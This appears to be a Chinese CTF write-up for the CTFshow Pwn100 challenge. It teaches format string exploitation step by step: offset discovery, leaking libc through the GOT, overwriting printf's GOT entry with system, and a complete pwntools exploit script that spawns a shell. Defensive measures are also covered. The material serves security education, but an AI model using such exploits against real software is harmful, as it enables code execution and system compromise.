CTFshow Pwn100:格式化字符串漏洞利用与栈帧分析实战
1. 项目概述如果你刚接触Pwn面对CTFshow Pwn100这类题目看到“格式化字符串漏洞”和“栈帧分析”这两个词可能会觉得既熟悉又陌生。熟悉是因为在各种教程里总能看到它们陌生是因为真到了动手的时候面对那一堆十六进制数和寄存器状态常常不知道从何下手。这篇文章我就以一个老Pwn手的视角带你彻底拆解CTFshow Pwn100这道经典的格式化字符串漏洞入门题。我们不只讲“怎么做”更要讲清楚“为什么这么做”以及我在实战中踩过的那些坑。通过这道题你会掌握格式化字符串漏洞从信息泄露到任意地址写的完整利用链并深刻理解栈帧在漏洞利用中的核心作用。无论你是想入门二进制安全还是想在CTF比赛中快速得分这篇文章都能给你提供一套清晰、可复现的“解题模板”。2. 漏洞原理与栈帧基础2.1 格式化字符串漏洞的本质格式化字符串漏洞的根源在于程序员错误地使用了像printf、sprintf这类函数。正常用法是printf(“%s”, user_input)但很多人会偷懒写成printf(user_input)。当user_input完全由用户控制时灾难就来了。printf这类函数的工作机制是它从栈上在x86-32位架构下或寄存器在x64架构下读取参数来匹配格式字符串中的格式化符号如%s,%x,%n。如果格式字符串是用户输入的%p%p%p而函数调用时又没有提供对应的参数printf就会“诚实”地按照这个指令把本不该被读取的栈上或寄存器里的数据给打印出来。这就好比你把保险箱密码本当成普通笔记本交给了别人对方就能按图索骥打开你不想公开的抽屉。在CTFshow Pwn100这道题里通常你会看到一个类似printf(buf)的语句其中buf是用户可控的输入。这就是漏洞的入口。2.2 栈帧漏洞利用的“地图”要利用这个漏洞你必须有一张“地图”告诉你目标数据藏在内存的哪个位置。这张地图就是栈帧。每次函数调用时系统都会在栈上为它开辟一块独立的内存区域这就是栈帧。里面按顺序存放着调用者的栈帧基地址EBP用于函数返回后恢复上一个函数的栈。返回地址EIP函数执行完后要跳转回去的地址。函数的参数在x86下。函数的局部变量。其他寄存器的备份等。当printf被调用时它的参数包括格式字符串的地址和后续变量会被压入栈中。printf函数内部有一个指针初始时指向第一个参数格式字符串地址之后的位置。每解析到一个格式化符号如%x这个指针就向后移动读取对应位置的数据作为参数。关键点来了如果我们输入的格式字符串里包含了%p或%xprintf就会忠实地把指针当前所指位置的内存内容打印出来。通过精心构造格式字符串我们可以让这个指针“漫步”在栈上读取到任何我们感兴趣的数据比如某个函数的返回地址、某个全局变量的指针甚至是libc的地址。实操心得刚开始看栈布局可能会头晕。一个非常有效的方法是在动态调试时比如用GDB在调用printf的指令处下断点然后使用x/20wx $esp命令查看栈内存。把打印出来的地址和你用%p泄露出来的内容一一对应你就能瞬间理解格式字符串参数与栈位置的映射关系。这是从理论到实践最关键的一步。2.3 核心利用原语不只是读还能写格式化字符串漏洞的强大之处在于它不仅能“读”内存还能“写”内存这主要通过%n系列格式化符实现。%n将截至目前已输出的字符总数写入一个指针参数所指向的地址4字节。%hn写入2字节short。%hhn写入1字节char。例如printf(“AAAA%n”, counter)在输出“AAAA”这4个字符后%n会将数字4写入变量counter中。如果我们能控制这个写入的地址比如通过栈溢出或格式化字符串本身将地址布置在栈上并精确控制已输出的字符数我们就能向任意地址写入任意值。在CTFshow Pwn100中我们通常需要利用这个能力将某个关键函数的GOT表项例如printf或exit修改为system函数的地址从而在后续触发该函数调用时获得shell。3. CTFshow Pwn100 实战环境搭建与初步分析3.1 题目环境准备首先你需要获取题目文件。通常是一个名为pwn100或类似的ELF可执行文件。为了模拟比赛环境并方便调试我们需要在Linux下进行操作。检查文件信息使用file和checksec命令。file pwn100 checksec pwn100典型的输出可能显示是32位、小端序、动态链接的ELF文件并且没有开启栈保护Canary和地址随机化PIE但可能开启了NX堆栈不可执行。这对我们利用格式化字符串漏洞非常有利。运行程序直接运行./pwn100观察程序行为。它可能会提示你输入或者直接进入一个循环接收输入的菜单。我们的目标就是找到那个存在格式化字符串漏洞的输入点。3.2 静态分析定位漏洞点使用反汇编工具如objdump、IDA Pro或Ghidra快速定位漏洞。objdump -d pwn100 | less或者用IDA Pro打开查看main函数或主要的输入处理函数。寻找对printf、sprintf、fprintf等函数的调用并且第一个参数是明显的用户输入缓冲区。在CTFshow Pwn100的典型变种中你可能会看到类似下面的伪代码char buf[100]; read(0, buf, 99); // 或 fgets, gets printf(buf); // 漏洞点或者在一个循环里while(1) { memset(buf, 0, sizeof(buf)); read(0, buf, 99); printf(buf); fflush(stdout); }找到这个printf(buf)就找到了攻击的突破口。3.3 动态调试确定偏移量这是利用格式化字符串漏洞最核心的一步确定我们输入的格式字符串在栈上的起始位置是第几个参数。启动调试gdb ./pwn100在漏洞点下断点在printf调用处下断点。b *0x8048xxx(地址需根据你的反汇编结果确定)。构造探测字符串运行程序当程序等待输入时输入一串有规律的、易于识别的字符组合例如AAAA%p.%p.%p.%p.%p.%p.%p.%p。AAAA即0x41414141是我们的“标记”。%p用于以指针格式泄露栈上的数据。观察输出程序会打印出一串地址。寻找输出中出现的0x41414141。假设输出是0x1 0x2 0x3 0x4 0x5 0x6 0x41414141 0x8 ...那么0x41414141出现在第7个位置从第一个%p对应的输出开始数即0x1是第1个。这意味着我们输入的AAAA这个字符串本身在栈上被printf当作第7个参数来处理。验证偏移更精确的测试是使用直接参数访问。输入AAAA%7$p。如果输出是AAAA0x41414141那么就100%确认了偏移量是7。这里的7$表示“使用第7个参数”。在CTFshow Pwn100中这个偏移量常见是6或7。注意事项这个偏移量是固定的吗在关闭ASLR和PIE的简单题目中通常是固定的。但在更复杂或开启了PIE的题目中这个偏移量可能需要结合泄露的地址动态计算。Pwn100作为入门题偏移量一般是固定的。4. 利用链构建从信息泄露到GOT覆写掌握了偏移量我们就拿到了打开栈内存的钥匙。接下来的利用分为三步泄露关键地址、计算目标地址、实施覆写。4.1 第一步泄露libc基地址我们的最终目的是调用system(“/bin/sh”)。在动态链接的程序中system函数位于libc共享库中。由于ASLRlibc的加载基址每次运行都不同但libc内部函数之间的相对偏移是固定的。因此我们需要先泄露一个已经在程序中使用的libc函数的地址比如printf或__libc_start_main的地址。这些函数的指针存储在程序的**全局偏移表GOT**中。找到GOT表地址使用objdump -R pwn100或readelf -r pwn100命令。readelf -r pwn100 | grep printf假设输出为0804a010 00000107 R_386_JUMP_SLOT 00000000 printfGLIBC_2.0那么printf的GOT表地址就是0x0804a010。利用格式化字符串泄露GOT内容我们已经知道偏移量是7。现在我们需要把GOT地址放到栈上并让printf用%s去读它。构造payloadp32(0x0804a010) b”%7$s”这里p32是pwntools的打包函数将地址转为小端序字节串\x10\xa0\x04\x08。这个payload作为printf的格式字符串。printf会先读取0x0804a010这个“字符串”因为它对应%7$然后%s会将它解释为一个指针去打印该指针指向的内存内容——也就是printf函数在libc中的实际地址。发送payload后接收到的数据前4个字节是我们输入的地址后面跟的就是泄露出的printf的地址。用u32()解包即可得到printf_addr。为什么是%7$s而不是%7$p%p打印的是参数本身的值即地址0x0804a010而%s打印的是该地址指向的内容即0x0804a010这个内存单元里存储的值也就是printf的地址。4.2 第二步计算system函数地址拿到printf_addr后我们需要知道目标libc版本中printf和system的相对偏移。确定libc版本这是CTF中常遇到的难点。题目可能不提供libc.so文件。有几种方法题目附件可能附带libc.so。根据泄露的地址末三位去在线库如libc.blukat.me, libc.database查询。如果本地环境和远程一致可以直接用本地的libc。 假设我们已确定libc版本为libc6-i386_2.27-3ubuntu1.4_amd64。计算偏移在本地该libc中用readelf -s /path/to/libc.so.6 | grep -E “ printf| system“查找符号地址。假设得到printf: 0x000513a0system: 0x0003f480计算相对偏移system_offset 0x3f480,printf_offset 0x513a0。那么system_addr printf_addr - (printf_offset - system_offset) printf_addr - 0x12020。实操心得更稳妥的方法是使用pwntools的ELF模块来加载本地的libc文件让它自动计算偏移libc ELF(‘./libc.so.6’)然后system_addr printf_addr - (libc.symbols[‘printf’] - libc.symbols[‘system’])。这样既准确又避免了手动计算错误。4.3 第三步利用%n覆写GOT表现在我们有目标写入地址printf_got 0x0804a010要写入的值system_addr一个32位的值例如0xf7e0d420可控的格式字符串偏移7直接写入一个32位的大数如0xf7e0d420需要输出海量字符不现实。因此我们采用**逐字节写入byte-by-byte**的策略利用%hhn。核心思路将目标地址printf_got及其后续3个字节printf_got1,2,3都放入我们的格式字符串中并确保它们在栈上能被printf作为参数访问到。假设它们分别位于偏移7,8,9,10的位置。通过控制已输出字符的数量分别让%7$hhn,%8$hhn,%9$hhn,%10$hhn将特定的字节值写入对应地址。构造payload的步骤以写入0xf7e0d420为例小端序存储为\x20\xd4\xe0\xf7布局地址payload p32(printf_got) p32(printf_got1) p32(printf_got2) p32(printf_got3)这16个字节会被放置在栈上成为printf的第7到第10个参数。计算填充我们需要控制已输出字符数使其等于我们想要写入的字节值。首先payload目前长度是16字节。我们需要输出0x2032个字符才能让第一个%hhn写入0x20。还需要额外输出32-1616个字符。可以用%16c来实现%c会打印一个字符%16c会输出至少16宽度的字符通常用空格填充。所以第一部分payload b“%16c”现在已输出字符数为32对应0x20。接着用%7$hhn写入printf_got地址处payload b“%7$hhn”写入后续字节接下来要写入printf_got1处的值0xd4212。当前已输出32个字符需要输出到212个字符还需212-32180个字符。payload b“%180c”payload b“%8$hhn”依此类推计算写入0xe0224和0xf7247所需的填充字符数。注意因为%hhn只取低8位如果累计输出超过256会自动取模。所以我们需要让累计输出数N满足N % 256 target_value。通常采用从小到大的顺序写入避免取模带来的复杂计算。这个过程非常繁琐极易出错。这就是为什么强烈推荐使用pwntools的fmtstr_payload函数。from pwn import * payload fmtstr_payload(7, {printf_got: system_addr})这一行代码就自动完成了上面所有复杂的地址布局和填充计算。7是偏移量{printf_got: system_addr}是一个字典表示我们要在printf_got地址处写入system_addr的值。5. 完整Exploit脚本编写与调试将上述步骤整合一个完整的利用脚本如下#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context(arch‘i386‘, os‘linux‘, log_level‘debug‘) # 1. 启动进程 p process(‘./pwn100‘) # 如果是远程题目: p remote(‘ctf.show‘, 10000) # 2. 确定格式化字符串偏移 def leak_offset(): # 方法一自动化探测推荐 def exec_fmt(payload): p.sendline(payload) return p.recvuntil(‘\n‘, dropTrue) # 根据实际输出调整 autofmt FmtStr(exec_fmt) offset autofmt.offset log.success(“FmtStr offset: %d” % offset) return offset # 方法二手动测试理解原理 # p.sendline(‘AAAA%p.%p.%p.%p.%p.%p.%p‘) # resp p.recvline() # if ‘41414141‘ in resp: # # 找到41414141出现的位置 # offset resp.split(‘.‘).index(‘0x41414141‘) 1 # 从1开始计数 # return offset offset leak_offset() # 假设我们得到 offset 7 # 3. 准备ELF对象获取GOT地址 elf ELF(‘./pwn100‘) printf_got elf.got[‘printf‘] # 例如 0x0804a010 log.success(“printf_got: 0x%x” % printf_got) # 4. 泄露printf的真实地址 payload_leak p32(printf_got) ‘%{}$s‘.format(offset) p.sendline(payload_leak) # 接收的数据前4字节是地址本身后面是printf的地址 p.recv(4) # 吃掉地址部分 printf_addr u32(p.recv(4)) # 读取4字节的printf地址 log.success(“printf_addr: 0x%x” % printf_addr) # 5. 计算system地址需要本地对应版本的libc libc ELF(‘/lib/i386-linux-gnu/libc.so.6‘) # 替换为你的libc路径 # 或者使用题目提供的libc # libc ELF(‘./libc.so.6‘) system_offset libc.symbols[‘system‘] printf_offset libc.symbols[‘printf‘] system_addr printf_addr - (printf_offset - system_offset) log.success(“system_addr: 0x%x” % system_addr) # 6. 构造格式化字符串payload覆写printf_got为system_addr payload_exploit fmtstr_payload(offset, {printf_got: system_addr}) p.sendline(payload_exploit) # 7. 触发system(‘/bin/sh‘) # 由于printf的GOT已被替换为system下一次调用printf(buf)就相当于system(buf) p.sendline(‘/bin/sh\x00‘) # 发送/bin/sh字符串 # 8. 享受shell p.interactive()5.1 脚本关键点解析与调试技巧偏移量自动探测FmtStr类会自动尝试多种payload来确定偏移比手动测试更可靠。但要注意exec_fmt函数的编写它必须能发送payload并返回程序的输出。地址泄露的接收处理发送p32(addr) ‘%offset$s‘后接收的数据是地址字节本身 目标地址处的内存内容。所以要先接收并丢弃前4字节p.recv(4)再读取接下来的4字节作为泄露的地址。libc版本问题这是最大的变数。如果脚本在本地成功但在远程失败99%是libc版本不对。需要根据泄露的printf_addr的特征如末三位是0x9b0去匹配远程libc。可以使用LibcSearcher等工具或在线数据库。pwntools的fmtstr_payload这是神器。它会自动处理字节写入顺序、填充计算和地址对齐。但要注意它生成的payload可能较长需确保你的输入缓冲区足够大。Pwn100的缓冲区通常是够的。触发shell覆写GOT后程序下一次调用printf时实际会跳转到system。所以我们需要让程序再次执行到printf(buf)并且此时我们的buf是字符串/bin/sh。在循环结构的题目中直接发送/bin/sh即可。如果程序是单次调用则需要在第一次payload中一并完成GOT写和/bin/sh的传入这需要更精巧的构造。5.2 常见问题与排查实录问题1泄露地址时程序崩溃或输出乱码。可能原因偏移量计算错误。%s试图读取的地址无效比如地址包含不可读的字节\x00,\x0a,\x0c等。排查用%p代替%s先测试p32(printf_got) ‘%{}$p‘.format(offset)。如果输出是0x804a010说明偏移正确且地址可读。如果输出是(nil)或其他奇怪值说明偏移不对或地址被截断。检查GOT地址是否包含\x00如0x0804a000。\x00是字符串终止符read或fgets读到它会提前结束输入导致地址不完整。这时需要调整payload顺序将地址放在格式化字符串后面或者利用格式化字符串本身的特性来写入地址。问题2使用fmtstr_payload后发送payload程序无反应或崩溃。可能原因payload过长超出了缓冲区或者写入过程中破坏了栈上其他关键数据如返回地址导致函数无法正常返回。排查打印出payload长度log.info(“Payload length: %d” % len(payload))与程序缓冲区大小对比。简化测试先尝试写一个小的、确定的值到某个可写地址如.bss段验证写入功能是否正常。例如payload_test fmtstr_payload(offset, {0x804c000: 0xdeadbeef})。在GDB中单步跟踪printf的执行观察栈状态和写入过程。问题3成功写入GOT表但发送/bin/sh后没有拿到shell。可能原因system地址计算错误。传入system的参数不是指向字符串/bin/sh的指针。printf(buf)调用时buf本身是system的第一个参数。你需要确保buf的内容就是/bin/sh并且后面没有干扰字符如换行符。有时需要发送/bin/sh\x00来明确终止字符串。程序环境问题。system函数依赖/bin/sh的存在和正确的环境变量。在某些精简的docker环境中可能缺少。排查在GDB中在printf调用处下断点查看跳转的目标地址是否确实是system。查看system的参数即栈上第一个参数是否确实是/bin/sh的地址。尝试使用cat flag等命令替代/bin/sh或者使用execve的ROP链作为后备方案。6. 栈帧分析的深入与漏洞利用的变种6.1 当偏移量不固定时在开启了PIE位置无关执行的程序中代码段的基址会随机化。这意味着我们输入的字符串在栈上的位置也可能随之变化。此时单纯的固定偏移量7可能失效。解决方法部分覆盖技术即使基址随机地址的低12位一页内通常是不变的。我们可以尝试泄露栈上的一个指向我们输入字符串附近的指针然后通过计算差值来动态确定偏移量。使用pwntools的FmtStr类它提供的自动偏移探测功能在PIE开启时可能依然有效因为它会尝试多个可能的偏移。6.2 利用链的替代方案覆写返回地址或函数指针除了修改GOT表格式化字符串漏洞还可以直接修改栈上的返回地址或者修改某个函数指针如__stack_chk_fail的GOT或atexit处理程序使其指向我们布置的shellcode或ROP链。思路利用格式化字符串泄露栈地址计算出当前函数返回地址在栈上的位置相对于我们输入的偏移。使用%n将返回地址修改为system的地址或one_gadget的地址。需要同时解决参数问题。如果修改返回地址为system还需要在栈上布置好返回后system的参数。这通常需要更精确的栈布局控制和多次写入。这种利用方式比GOT覆写更直接但难度也更高需要对栈帧布局有极其清晰的认识。6.3 64位环境下的挑战在x64架构下前6个参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递后续参数才通过栈传递。这给利用带来了变化偏移量计算你输入的格式字符串本身可能作为第一个参数在RDI中。前几个%p泄露的将是RSI, RDX, RCX...寄存器的值直到第7个%p才开始泄露栈上的内容。你需要重新确定你的输入在栈上的起始偏移。地址中的空字节x64地址通常是8字节如0x7ffff7a523a0。高位有很多\x00字节。如果直接将地址放在payload开头\x00会截断字符串。解决方法是将地址放在payload末尾或者利用格式化字符串先向高位地址写入\x00。pwntools的适配fmtstr_payload函数同样支持64位只需设置context.arch‘amd64‘它会自动处理上述问题。7. 防御措施与学习建议理解了攻击才能更好地防御。现代编译器和操作系统已经部署了多种机制来缓解格式化字符串漏洞编译时警告GCC的-Wformat-security选项会对printf(buf)这类不安全的用法发出警告。地址随机化ASLR/PIE让libc基址、栈地址、堆地址随机化增加泄露和预测地址的难度。RELROPartial RELROGOT表可写但重定位段只读。Full RELRO在程序启动后就将所有符号解析完毕并使GOT表完全只读。这是最有效的防御直接封杀了GOT覆写这条利用路径。FORTIFY_SOURCE对某些字符串函数进行加强检查。对于学习者我的建议是从基础开始一定要亲手在关闭保护的环境下-no-pie -fno-stack-protector完成几次完整的利用理解每一个字节的来龙去脉。善用工具但不依赖工具pwntools极大提升了效率但初期请尽量手动计算偏移、构造payload这能加深你对栈布局和漏洞原理的理解。动态调试是王道多使用GDB配合peda或pwndbg插件观察每条指令执行前后栈和寄存器的变化。x/20wx $esp和info frame是你的好朋友。阅读优秀的WriteupCTFshow平台本身就有很多高质量的题解。对比不同人的解题思路学习他们分析问题和构造payload的技巧。格式化字符串漏洞是Pwn入门的一座里程碑。攻克了它你就掌握了通过程序“输出”来“输入”并最终“执行”的完整思维链条。CTFshow Pwn100是一个完美的起点它所涵盖的技术点——偏移计算、地址泄露、GOT覆写——是后续学习堆漏洞、内核漏洞等更高级主题的基石。希望这篇近万字的拆解能帮你把这块基石打牢。记住所有的复杂利用都源于对基础原理的深刻理解和对内存布局的清晰把握。

相关新闻

C++实战:从零构建文字RPG游戏,掌握面向对象与游戏循环核心

C++实战:从零构建文字RPG游戏,掌握面向对象与游戏循环核心

1. 项目概述:为什么选择C来写一个“过时”的文字RPG? 十年前,我还在大学机房里对着黑底白字的命令行窗口敲代码,那时候最兴奋的事就是能用C写一个能跑起来的文字游戏。今天,当3A大作画面以假乱真、引擎工具唾手可得时…

2026/8/10 1:19:41 阅读更多 →
NetLogo接口优化与性能提升实战指南

NetLogo接口优化与性能提升实战指南

1. NetLogo接口自定义与优化实战指南NetLogo作为一款经典的多主体建模工具,在社会科学仿真领域已经服务了二十余年。我最近在完成一个城市交通流仿真项目时,发现原生接口在复杂交互场景下存在三个明显痛点:一是扩展性不足导致自定义行为开发效…

2026/8/10 1:19:41 阅读更多 →
OpenAI Agent Plugins开放标准:构建通用AI智能体插件的完整指南

OpenAI Agent Plugins开放标准:构建通用AI智能体插件的完整指南

最近在尝试构建一个能联网搜索、调用工具、处理复杂任务的智能体(Agent)时,你是否也感到头疼?不同框架的插件标准各异,LangChain、AutoGPT、CrewAI各有各的玩法,想开发一个通用插件,往往需要为每…

2026/8/10 1:18:40 阅读更多 →

最新新闻

Unity性能优化:从单帧分析到全局诊断的帧时间优化策略

Unity性能优化:从单帧分析到全局诊断的帧时间优化策略

1. 项目概述:从单帧快照到全局视野的性能诊断在Unity游戏开发的中后期,性能优化往往是一场与毫秒的拉锯战。你可能会在Profiler里看到某一帧突然卡顿,但当你试图定位时,它又消失得无影无踪。传统的Unity Profiler提供了强大的单帧…

2026/8/10 2:26:11 阅读更多 →
【电力系统】输电线路距离保护(方向阻抗继电器)短路 接地故障Matlab仿真和报告

【电力系统】输电线路距离保护(方向阻抗继电器)短路 接地故障Matlab仿真和报告

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/10 2:26:11 阅读更多 →
设备属性查询与工厂设置命令完全指南

设备属性查询与工厂设置命令完全指南

1. 设备属性与工厂设置命令完全指南作为一名在设备维护领域摸爬滚打多年的工程师,我深知设备属性查询和工厂设置命令的重要性。这些看似简单的指令,往往是设备调试、故障排查和性能优化的关键钥匙。记得去年处理一台工业打印机连续卡纸的问题&#xff0c…

2026/8/10 2:26:11 阅读更多 →
【评估多目标跟踪方法】9个高度敏捷目标在编队中的轨迹和测量研究附Matlab代码

【评估多目标跟踪方法】9个高度敏捷目标在编队中的轨迹和测量研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/10 2:26:11 阅读更多 →
高效Android OTA镜像提取实战:3大优势解析与专业技巧

高效Android OTA镜像提取实战:3大优势解析与专业技巧

高效Android OTA镜像提取实战:3大优势解析与专业技巧 【免费下载链接】payload-dumper-go an android OTA payload dumper written in Go 项目地址: https://gitcode.com/gh_mirrors/pa/payload-dumper-go 在Android系统开发和定制领域,快速提取O…

2026/8/10 2:26:11 阅读更多 →
Windows平台上传IPA到App Store的解决方案

Windows平台上传IPA到App Store的解决方案

1. Windows平台IPA文件上传的痛点与解决方案在iOS应用开发领域,开发者经常需要将打包好的IPA文件上传到App Store Connect进行审核。苹果官方提供的Transporter工具是完成这一流程的标准方式,但很多Windows平台的开发者发现,这个工具并没有提…

2026/8/10 2:25:11 阅读更多 →

日新闻

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南 【免费下载链接】graphql-css A blazing fast CSS-in-GQL™ library. 项目地址: https://gitcode.com/gh_mirrors/gr/graphql-css GraphQL-CSS是一个基于GraphQL的CSS-in-GQL™库&#xff0…

2026/8/10 0:00:02 阅读更多 →
告别语言障碍:KISS Translator 双语翻译插件终极指南

告别语言障碍:KISS Translator 双语翻译插件终极指南

告别语言障碍:KISS Translator 双语翻译插件终极指南 【免费下载链接】kiss-translator A simple, open source bilingual translation extension & Greasemonkey script (一个简约、开源的 双语对照翻译扩展 & 油猴脚本) 项目地址: https://gitcode.com/…

2026/8/10 0:00:02 阅读更多 →
BepInEx配置管理器:游戏插件配置的终极可视化解决方案

BepInEx配置管理器:游戏插件配置的终极可视化解决方案

BepInEx配置管理器:游戏插件配置的终极可视化解决方案 【免费下载链接】BepInEx.ConfigurationManager Plugin configuration manager for BepInEx 项目地址: https://gitcode.com/gh_mirrors/be/BepInEx.ConfigurationManager 你是否曾经因为游戏插件的复杂…

2026/8/10 0:00:02 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/10 1:05:29 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/10 1:05:29 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/10 1:05:29 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/9 17:05:02 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/10 1:05:29 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/9 17:05:02 阅读更多 →